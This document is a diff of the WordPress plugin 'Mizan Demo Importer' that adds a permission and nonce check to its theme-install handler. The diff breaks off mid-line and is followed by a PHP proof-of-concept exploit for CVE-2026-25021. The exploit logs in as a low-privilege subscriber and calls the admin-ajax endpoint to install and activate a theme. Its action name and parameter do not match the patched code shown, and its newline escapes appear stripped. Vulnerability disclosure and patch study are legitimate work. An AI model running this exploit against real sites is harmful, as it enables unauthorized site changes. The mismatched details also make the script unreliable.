+    <?php if ($total_pages > 1): ?>
+      <div class="main-grid-card-pagination text-center my-2">
+        <?php if ($current_page > 1): ?>
+          <button class="button pagination-previous-btn"
+            onclick="location.href='<?php echo esc_url(add_query_arg('theme_page', $current_page - 1)); ?>'"><span
+              class="dashicons dashicons-arrow-left-alt2"></span>Previous</button>
+        <?php endif; ?>
+        <span>Page <?php echo $current_page; ?> of <?php echo $total_pages; ?></span>
+        <?php if ($current_page < $total_pages): ?>
+          <button class="button pagination-next-btn"
+            onclick="location.href='<?php echo esc_url(add_query_arg('theme_page', $current_page + 1)); ?>'">Next<span
+              class="dashicons dashicons-arrow-right-alt2"></span></button>
+        <?php endif; ?>
+      </div>
+    <?php endif; ?>
+  <?php }

-        $theme_slug = sanitize_text_field($_POST['theme_domain']);
-
-        include_once ABSPATH . 'wp-admin/includes/theme.php';
-        include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+  public function mizan_importer_handle_free_theme_redirect()
+  {
+    if (get_transient('mizan_importer_free_theme_activation_redirect')) {
+      delete_transient('mizan_importer_free_theme_activation_redirect');
+      wp_redirect(admin_url('admin.php?page=mizandemoimporter-wizard'));
+      exit;
+    }
+  }

-        // Check if the free theme is already installed
-        $installed_themes = wp_get_themes(array('errors' => true));
-        if (array_key_exists($theme_slug, $installed_themes)) {
-            // If free theme is already installed, check if it's already active
-            $current_theme = wp_get_theme();
-            if ($current_theme->get('TextDomain') === $theme_slug) {
-                // Set a transient or option to handle the redirect
-                set_transient('mizan_importer_free_theme_activation_redirect', true, 30);
-                wp_send_json_success();
-            }
+  public function mizan_importer_install_and_activate_free_theme()
+  {
+    check_ajax_referer('whizzie_nonce', '_wpnonce');
+
+    // Check user permissions to install free themes.
+    if (!current_user_can('install_themes') || !isset($_POST['theme_domain'])) {
+      wp_send_json_error(array('message' => 'You do not have sufficient permissions to install themes.'));
+    }
+
+    $theme_slug = sanitize_text_field($_POST['theme_domain']);
+
+    include_once ABSPATH . 'wp-admin/includes/theme.php';
+    include_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
+
+    // Check if the free theme is already installed
+    $installed_themes = wp_get_themes(array('errors' => true));
+    if (array_key_exists($theme_slug, $installed_themes)) {
+      // If free theme is already installed, check if it's already active
+      $current_theme = wp_get_theme();
+      if ($current_theme->get('TextDomain') === $theme_slug) {
+        // Set a transient or option to handle the redirect
+        set_transient('mizan_importer_free_theme_activation_redirect', true, 30);
+        wp_send_json_success();
+      }

-            // If free theme is not activated, activate it
-            switch_theme($theme_slug);
-            // Set a transient or option to handle the redirect
-            set_transient('mizan_importer_free_theme_activation_redirect', true, 30);
-            wp_send_json_success();
-        }
+      // If free theme is not activated, activate it
+      switch_theme($theme_slug);
+      // Set a transient or option to handle the redirect
+      set_transient('mizan_importer_free_theme_activation_redirect', true, 30);
+      wp_send_json_success();
+    }

-        // If free theme is not installed, proceed with installation
-        $api = themes_api('theme_information', array(
-            'slug'   => $theme_slug,
-            'fields' => array('sections' => false),
-        ));
+    // If free theme is not installed, proceed with installation
+    $api = themes_api('theme_information', array(
+      'slug' => $theme_slug,
+      'fields' => array('sections' => false),
+    ));

-        if (is_wp_error($api)) {
-            wp_send_json_error(array('message' => 'Theme not found.'));
-        }
+    if (is_wp_error($api)) {
+      wp_send_json_error(array('message' => 'Theme not found.'));
+    }

-        $upgrader = new Theme_Upgrader();
-        ob_start();
-        $install_result = $upgrader->install($api->download_link);
-        ob_end_clean();
+    $upgrader = new Theme_Upgrader();
+    ob_start();
+    $install_result = $upgrader->install($api->download_link);
+    ob_end_clean();

-        if (is_wp_error($install_result)) {
-            wp_send_json_error(array('message' => 'Theme installation failed.'));
-        }
+    if (is_wp_error($install_result)) {
+      wp_send_json_error(array('message' => 'Theme installation failed.'));
+    }

-        // Activate the free theme
-        switch_theme($theme_slug);
+    // Activate the free theme
+    switch_theme($theme_slug);

-        // Set a transient or option to handle the redirect for the free theme
-        set_transient('mizan_importer_free_theme_activation_redirect', true, 30);
-        wp_send_json_success();
-    }
-    // end
+    // Set a transient or option to handle the redirect for the free theme
+    set_transient('mizan_importer_free_theme_activation_redirect', true, 30);
+    wp_send_json_success();
+  }
+  // end

   /**
-  * Make an interface for the wizard
-  */
-  public function wizard_page() {
+   * Make an interface for the wizard
+   */
+  public function wizard_page()
+  {
     tgmpa_load_bulk_installer();
     if (!class_exists('MIZAN_IMPORTER_TGM_Plugin_Activation') || !isset($GLOBALS['mizan_importer_tgmpa'])) {
       die('Failed to find TGM');
@@ -507,99 +547,102 @@
         if (isset($content['detail'])) {
           // Add a link to see more detail
           printf('<div class="wz-require-plugins">');
-          printf('<div class="detail">%s</div>', $content['detail'] // Need to escape this
-        );
-        printf('</div>');
-      }
-      printf('<div class="wizard-button-wrapper">');
-      if(defined('GET_PREMIUM_THEME')){
-        if (Mizan_Importer_ThemeWhizzie::get_the_validation_status() === 'true') {
-          if (isset($step['button_text']) && $step['button_text'] && isset($step['multiple'])) {
-            echo "<div class='multiple-home-page-imports'>";
-            foreach ($step['multiple'] as $import) {
-              $button_html = '<div class="button-wrap">
+          printf(
+            '<div class="detail">%s</div>',
+            $content['detail'] // Need to escape this
+          );
+          printf('</div>');
+        }
+        printf('<div class="wizard-button-wrapper">');
+        if (defined('GET_PREMIUM_THEME')) {
+          if (Mizan_Importer_ThemeWhizzie::get_the_validation_status() === 'true') {
+            if (isset($step['button_text']) && $step['button_text'] && isset($step['multiple'])) {
+              echo "<div class='multiple-home-page-imports'>";
+              foreach ($step['multiple'] as $import) {
+                $button_html = '<div class="button-wrap">
               <a href="#" class="button button-primary do-it" data-callback="%s" data-step="%s" data-slug="' . $import['slug'] . '">
               <img src="' . $import['card_image'] . '" />
               <p class="themes-name"> %s </p>
               </a>
               </div>';
-              printf($button_html, esc_attr($step['callback']), esc_attr($step['id']), esc_html($import['card_text']));
+                printf($button_html, esc_attr($step['callback']), esc_attr($step['id']), esc_html($import['card_text']));
+              }
+              echo "</div>";
+            } elseif (isset($step['button_text']) && $step['button_text']) {
+              printf('<div class="button-wrap"><a href="#" class="button button-primary do-it" data-callback="%s" data-step="%s">%s</a></div>', esc_attr($step['callback']), esc_attr($step['id']), esc_html($step['button_text']));
             }
-            echo "</div>";
-          } elseif (isset($step['button_text']) && $step['button_text']) {
-            printf('<div class="button-wrap"><a href="#" class="button button-primary do-it" data-callback="%s" data-step="%s">%s</a></div>', esc_attr($step['callback']), esc_attr($step['id']), esc_html($step['button_text']));
-          }
-          if (isset($step['button_text_one'])) {
-            printf('<div class="button-wrap button-wrap-one">
+            if (isset($step['button_text_one'])) {
+              printf('<div class="button-wrap button-wrap-one">
             <a href="#" class="button button-primary do-it" data-callback="install_widgets" data-step="widgets"><img src="' . get_template_directory_uri() . '/theme-wizard/assets/images/Customize-Icon.png"></a>
             <p class="demo-type-text">%s</p>
             </div>', esc_html($step['button_text_one']));
-          }
-          if (isset($step['button_text_two'])) {
-            printf('<div class="button-wrap button-wrap-two">
+            }
+            if (isset($step['button_text_two'])) {
+              printf('<div class="button-wrap button-wrap-two">
             <a href="#" class="button button-primary do-it" data-callback="page_builder" data-step="widgets"><img src="' . get_template_directory_uri() . '/theme-wizard/assets/images/Gutenberg-Icon.png"></a>
             <p class="demo-type-text">%s</p>
             </div>', esc_html($step['button_text_two']));
+            }
+          } else {
+            printf('<div class="button-wrap"><a href="#" class="button button-primary key-activation-tab-click">%s</a></div>', esc_html(__('Activate Your License', 'mizan-demo-importer')));
           }
         } else {
-          printf('<div class="button-wrap"><a href="#" class="button button-primary key-activation-tab-click">%s</a></div>', esc_html(__('Activate Your License', 'mizan-demo-importer')));
-        }
-      }else{
-        if (isset($step['button_text']) && $step['button_text'] && isset($step['multiple'])) {
-          echo "<div class='multiple-home-page-imports'>";
-          foreach ($step['multiple'] as $import) {
-            $button_html = '<div class="button-wrap">
+          if (isset($step['button_text']) && $step['button_text'] && isset($step['multiple'])) {
+            echo "<div class='multiple-home-page-imports'>";
+            foreach ($step['multiple'] as $import) {
+              $button_html = '<div class="button-wrap">
             <a href="#" class="button button-primary do-it" data-callback="%s" data-step="%s" data-slug="' . $import['slug'] . '">
             <img src="' . $import['card_image'] . '" />
             <p class="themes-name"> %s </p>
             </a>
             </div>';
-            printf($button_html, esc_attr($step['callback']), esc_attr($step['id']), esc_html($import['card_text']));
+              printf($button_html, esc_attr($step['callback']), esc_attr($step['id']), esc_html($import['card_text']));
+            }
+            echo "</div>";
+          } elseif (isset($step['button_text']) && $step['button_text']) {
+            printf('<div class="button-wrap"><a href="#" class="button button-primary do-it" data-callback="%s" data-step="%s">%s</a></div>', esc_attr($step['callback']), esc_attr($step['id']), esc_html($step['button_text']));
           }
-          echo "</div>";
-        } elseif (isset($step['button_text']) && $step['button_text']) {
-          printf('<div class="button-wrap"><a href="#" class="button button-primary do-it" data-callback="%s" data-step="%s">%s</a></div>', esc_attr($step['callback']), esc_attr($step['id']), esc_html($step['button_text']));
-        }
-        if (isset($step['button_text_one'])) {
-          printf('<div class="button-wrap button-wrap-one">
+          if (isset($step['button_text_one'])) {
+            printf('<div class="button-wrap button-wrap-one">
           <a href="#" class="button button-primary do-it" data-callback="install_widgets" data-step="widgets"><img src="' . get_template_directory_uri() . '/theme-wizard/assets/images/Customize-Icon.png"></a>
           <p class="demo-type-text">%s</p>
           </div>', esc_html($step['button_text_one']));
-        }
-        if (isset($step['button_text_two'])) {
-          printf('<div class="button-wrap button-wrap-two">
+          }
+          if (isset($step['button_text_two'])) {
+            printf('<div class="button-wrap button-wrap-two">
           <a href="#" class="button button-primary do-it" data-callback="page_builder" data-step="widgets"><img src="' . get_template_directory_uri() . '/theme-wizard/assets/images/Gutenberg-Icon.png"></a>
           <p class="demo-type-text">%s</p>
           </div>', esc_html($step['button_text_two']));
+          }
         }
-      }


-      printf('</div>');
-      echo '</li>';
-    }
-    echo '</ul>';
-    echo '<ul class="wee-whizzie-nav wizard-icon-nav">';
-    $stepI = 1;
-    foreach ($steps as $step) {
-      $stepAct = ($stepI == 1) ? 1 : 0;
-      if (isset($step['icon_url']) && $step['icon_url']) {
-        echo '<li class="nav-step-' . esc_attr($step['id']) . '" wizard-steps="step-' . esc_attr($step['id']) . '" data-enable="' . esc_attr($stepAct) . '">
+        printf('</div>');
+        echo '</li>';
+      }
+      echo '</ul>';
+      echo '<ul class="wee-whizzie-nav wizard-icon-nav">';
+      $stepI = 1;
+      foreach ($steps as $step) {
+        $stepAct = ($stepI == 1) ? 1 : 0;
+        if (isset($step['icon_url']) && $step['icon_url']) {
+          echo '<li class="nav-step-' . esc_attr($step['id']) . '" wizard-steps="step-' . esc_attr($step['id']) . '" data-enable="' . esc_attr($stepAct) . '">
         <span>' . esc_html($step['icon_url']) . '</span>
         </li>';
+        }
+        $stepI++;
       }
-      $stepI++;
-    }
-    echo '</ul>';
-    ?>
-    <div class="step-loading"><span class="spinner">
-      <img src="<?php echo esc_url(MDI_URL . 'theme-wizard/assets/images/spinner-animaion.gif'); ?>">
-    </span></div>
-    <?php echo '</div>'; ?>
-  </div>
-  <?php
+      echo '</ul>';
+      ?>
+      <div class="step-loading"><span class="spinner">
+          <img src="<?php echo esc_url(MDI_URL . 'theme-wizard/assets/images/spinner-animaion.gif'); ?>">
+        </span></div>
+      <?php echo '</div>'; ?>
+    </div>
+    <?php
   }
-  public function get_step_widgets() { ?>
+  public function get_step_widgets()
+  { ?>
     <div class="summary">
       <p>
         <?php esc_html_e('Click the below button to import the demo content using Elementor.', 'mizan-demo-importer'); ?>
@@ -607,474 +650,526 @@
     </div>
     <?php
   }
-    /**
-     * Set options for the steps
-     * Incorporate any options set by the theme dev
-     * Return the array for the steps
-     * @return Array
-     */
-     public function get_steps() {
-       $dev_steps = $this->config_steps;
-       $steps = array(
-         // secelt themes page start//
-         'intro' => array(
-           'id'          => 'intro',
-           'title'       => __('Welcome to Mizan Demo Importer', 'mizan-demo-importer') ,
-           'icon'        => 'dashboard',
-           'view'        => 'get_step_intro', // Callback for content
-           'callback'    => 'do_next_step', // Callback for JS
-           'button_text' => __('Start Now', 'mizan-demo-importer'),
-           'can_skip'    => false, // Show a skip button?
-           'icon_url'    =>__('Introduction', 'mizan-demo-importer')
-         ),
-         'plugins' => array(
-           'id' => 'plugins',
-           'title' => __('Plugins', 'mizan-demo-importer'),
-           'icon' => 'admin-plugins',
-           'view' => 'get_step_plugins',
-           'callback' => 'install_plugins',
-           'button_text' => __('Install Plugins', 'mizan-demo-importer'),
-           'can_skip' => true,
-           'icon_url'    =>__('Install Plugins', 'mizan-demo-importer')
-         ),
-         'widgets' => array(
-           'id' => 'widgets',
-           'title' => __('Demo Importer', 'mizan-demo-importer'),
-           'icon' => 'welcome-widgets-menus',
-           'view' => 'get_step_widgets',
-           'callback' => 'install_widgets',
-           'button_text' => __('Import Demo', 'mizan-demo-importer'),
-           'can_skip' => true,
-           'icon_url'    =>__('Import Demo', 'mizan-demo-importer')
-         ),
-         'done' => array(
-           'id' => 'done',
-           'title' => __('All Done', 'mizan-demo-importer'),
-           'icon' => 'yes',
-           'view' => 'get_step_done',
-           'callback' => '',
-           'icon_url'    =>__('All Done', 'mizan-demo-importer')));
-           // Iterate through each step and replace with dev config values
-           if ($dev_steps) {
-             // Configurable elements - these are the only ones the dev can update from config.php
-             $can_config = array('title', 'icon', 'button_text', 'can_skip', 'button_text_two');
-             foreach ($dev_steps as $dev_step) {
-               // We can only proceed if an ID exists and matches one of our IDs
-               if (isset($dev_step['id'])) {
-                 $id = $dev_step['id'];
-                 if (isset($steps[$id])) {
-                   foreach ($can_config as $element) {
-                     if (isset($dev_step[$element])) {
-                       $steps[$id][$element] = $dev_step[$element];
-                     }
-                   }
-                 }
-               }
-             }
-           }
-           return $steps;
-         }
-     /**
-     * Print the content for the intro step
-     */
-     public function get_step_intro() { ?>
-          <div class="summary">
-            <h2><?php esc_html_e('Introduction', 'mizan-demo-importer'); ?></h2>
-            <p>
-              <?php esc_html_e('Thank you for choosing this Mizan Demo Importer Pro Plugin. Using this quick setup wizard, you will be able to configure your new website and get it running in just a few minutes. Just follow these simple steps mentioned in the wizard and get started with your website.', 'mizan-demo-importer'); ?>
-            </p>
-            <p>
-              <?php esc_html_e('You may even skip the steps and get back to the dashboard if you have no time at the present moment. You can come back any time if you change your mind.', 'mizan-demo-importer'); ?>
-            </p>
-          </div>
-          <?php
+  /**
+   * Set options for the steps
+   * Incorporate any options set by the theme dev
+   * Return the array for the steps
+   * @return Array
+   */
+  public function get_steps()
+  {
+    $dev_steps = $this->config_steps;
+    $steps = array(
+      // secelt themes page start//
+      'intro' => array(
+        'id' => 'intro',
+        'title' => __('Welcome to Mizan Demo Importer', 'mizan-demo-importer'),
+        'icon' => 'dashboard',
+        'view' => 'get_step_intro', // Callback for content
+        'callback' => 'do_next_step', // Callback for JS
+        'button_text' => __('Start Now', 'mizan-demo-importer'),
+        'can_skip' => false, // Show a skip button?
+        'icon_url' => __('Introduction', 'mizan-demo-importer')
+      ),
+      'plugins' => array(
+        'id' => 'plugins',
+        'title' => __('Plugins', 'mizan-demo-importer'),
+        'icon' => 'admin-plugins',
+        'view' => 'get_step_plugins',
+        'callback' => 'install_plugins',
+        'button_text' => __('Install Plugins', 'mizan-demo-importer'),
+        'can_skip' => true,
+        'icon_url' => __('Install Plugins', 'mizan-demo-importer')
+      ),
+      'widgets' => array(
+        'id' => 'widgets',
+        'title' => __('Demo Importer', 'mizan-demo-importer'),
+        'icon' => 'welcome-widgets-menus',
+        'view' => 'get_step_widgets',
+        'callback' => 'install_widgets',
+        'button_text' => __('Import Demo', 'mizan-demo-importer'),
+        'can_skip' => true,
+        'icon_url' => __('Import Demo', 'mizan-demo-importer')
+      ),
+      'done' => array(
+        'id' => 'done',
+        'title' => __('All Done', 'mizan-demo-importer'),
+        'icon' => 'yes',
+        'view' => 'get_step_done',
+        'callback' => '',
+        'icon_url' => __('All Done', 'mizan-demo-importer')
+      )
+    );
+    // Iterate through each step and replace with dev config values
+    if ($dev_steps) {
+      // Configurable elements - these are the only ones the dev can update from config.php
+      $can_config = array('title', 'icon', 'button_text', 'can_skip', 'button_text_two');
+      foreach ($dev_steps as $dev_step) {
+        // We can only proceed if an ID exists and matches one of our IDs
+        if (isset($dev_step['id'])) {
+          $id = $dev_step['id'];
+          if (isset($steps[$id])) {
+            foreach ($can_config as $element) {
+              if (isset($dev_step[$element])) {
+                $steps[$id][$element] = $dev_step[$element];
+              }
+            }
+          }
         }
-     public function get_step_importer() { ?>
-       <div class="summary">
-         <p>
-           <?php esc_html_e('Thank you for choosing this Mizan Demo Importer Pro Plugin. Using this quick setup wizard, you will be able to configure your new website and get it running in just a few minutes. Just follow these simple steps mentioned in the wizard and get started with your website.', 'mizan-demo-importer'); ?>
-         </p>
-       </div>
-       <?php
-     }
-    /**
-     * Get the content for the plugins step
-     * @return $content Array
-     */
-     public function get_step_plugins() {
-
-       $plugins = $this->get_plugins();
-       $content = array(); ?>
-       <?php // The detail element is initially hidden from the user
-       $content['detail'] = '<span class="wizard-plugin-count">' . count($plugins['all']) . '</span><h2>Install Plugins</h2><ul class="whizzie-do-plugins">';
-       foreach ($plugins['all'] as $slug => $plugin) {
-         $content['detail'].= '<li data-slug="' . esc_attr($slug) . '">' . esc_html($plugin['name']) . '<div class="wizard-plugin-title">';
-         $content['detail'].= '<span class="wizard-plugin-status">Installation Required</span><i class="spinner"></i></div></li>';
-       }
-       $content['detail'].= '</ul>';
-       return $content;
-     }
-    /**
-     * Print the content for the final step
-     */
-     public function get_step_done() { ?>
-       <div class="wp-setup-finish">
-         <p>
-           <?php echo esc_html('Your demo content has been imported successfully . Click on the finish button for more information.'); ?>
-         </p>
-         <div class="finish-buttons">
-           <a href="<?php echo esc_url(admin_url('/customize.php')); ?>" class="wz-btn-customizer" target="_blank"><?php esc_html_e('Customize Your Demo', 'mizan-demo-importer') ?></a>
-           <a href="" class="wz-btn-builder" target="_blank"><?php esc_html_e('Customize Your Demo', 'mizan-demo-importer'); ?></a>
-           <a href="<?php echo esc_url(site_url()); ?>" class="wz-btn-visit-site" target="_blank"><?php esc_html_e('Visit Your Site', 'mizan-demo-importer'); ?></a>
-         </div>
-         <div class="wp-finish-btn">
-           <a href="<?php echo esc_url(admin_url()); ?>" class="button button-primary" onclick="openCity(event, 'theme_info')" data-tab="theme_info" >Finish</a>
-         </div>
-       </div>
-       <?php
-     }
-    /**
-     * Get the plugins registered with TGMPA
-     */
-     public function get_plugins() {
-       $instance = call_user_func(array(get_class($GLOBALS['mizan_importer_tgmpa']), 'get_instance'));
-       $new_instance_plugins = $instance->plugins;
-
-       $plugins = array('all' => array(), 'install' => array(), 'update' => array(), 'activate' => array());
-       foreach ($new_instance_plugins as $slug => $plugin) {
-         if ($instance->is_plugin_active($slug) && false === $instance->does_plugin_have_update($slug)) {
-           // Plugin is installed and up to date
-           continue;
-         } else {
-           $plugins['all'][$slug] = $plugin;
-           if (!$instance->is_plugin_installed($slug)) {
-             $plugins['install'][$slug] = $plugin;
-           } else {
-             if (false !== $instance->does_plugin_have_update($slug)) {
-               $plugins['update'][$slug] = $plugin;
-             }
-             if ($instance->can_plugin_activate($slug)) {
-               $plugins['activate'][$slug] = $plugin;
-             }
-           }
-         }
-       }
-
-      return apply_filters('mizan_importer_plugins_list', $plugins);
-
-     }
-     public function setup_plugins() {
-       if (!check_ajax_referer('whizzie_nonce', 'wpn

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-25021 - Mizan Demo Importer <= 0.1.3 - Missing Authorization

<?php
/**
 * Proof of Concept for CVE-2026-25021
 * Demonstrates unauthorized theme installation/activation via missing capability check.
 * Requires valid WordPress subscriber (or higher) credentials.
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'subscriber_user';
$password = 'subscriber_pass';
$theme_slug = 'twentytwentyfour'; // Slug of theme to install/activate

// Initialize cURL session for WordPress login
$ch = curl_init();

// Step 1: Get login page to retrieve nonce (if required by theme)
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
$login_page = curl_exec($ch);

// Step 2: Submit login credentials
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
];

curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$login_response = curl_exec($ch);

// Step 3: Exploit the vulnerable AJAX endpoint
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$exploit_payload = [
    'action' => 'mizan_importer_install_free_theme',
    'theme' => $theme_slug // Parameter expected by the vulnerable function
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($exploit_payload));
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
$ajax_response = curl_exec($ch);

// Display results
echo "Target: $target_urln";
echo "Action: Triggering 'mizan_importer_install_free_theme' AJAX handlern";
echo "Theme Slug: $theme_slugn";
echo "Response:n";
echo $ajax_response . "n";

curl_close($ch);

// Clean up
if (file_exists('cookies.txt')) {
    unlink('cookies.txt');
}
?>